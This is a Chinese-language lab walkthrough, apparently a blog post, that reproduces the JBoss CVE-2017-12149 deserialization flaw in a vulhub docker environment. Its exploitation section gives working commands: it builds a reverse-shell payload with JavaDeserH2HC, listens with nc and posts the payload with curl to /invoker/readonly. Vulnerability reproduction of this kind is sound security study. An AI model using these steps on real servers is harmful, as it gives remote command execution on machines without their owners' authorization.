一、漏洞描述

2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。CNVD对该漏洞的综合评级为“高危”。

二、漏洞环境搭建

需要准备的工具如下:

1.docker+vulhub漏洞库
2.漏洞POC:下载链接https://github.com/joaomatosf/JavaDeserH2HC
3.攻击机kali(版本随意)
4.靶机Ubuntu18.04(其他也可以)

打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有先安装docker+vulhub
root@admin666-virtual-machine:~/vulhub-master/jboss/CVE-2017-12149#
执行命令
root@admin666-virtual-machine:~/vulhub-master/jboss/CVE-2017-12149# docker-compose up -d
等到出现以下页面说明已经搭建完成

可以访问http://your-ip:8080,出现如下页面证明环境搭建成功!

三、漏洞利用

1.检测目录,访问http://your-ip:8080/invoker/readonly,出现如下页面证明漏洞存在

2.进入kali利用POC进行验证

先把POC克隆到kali中,执行命令
git clone https://github.com/joaomatosf/JavaDeserH2HC

进入JavaDeserH2HC目录,执行
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

设置接收shell的IP和端口
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP:监听端口

使用nc监听端口
nc -lvvp 监听端口

用攻击机发送payload,在JavaDeserH2HC目录下执行
curl http://your-ip:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

查看监听端口返回的shell,可以执行命令,至此漏洞验证完成

版权声明:本文为Found404原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/Found404/p/14200456.html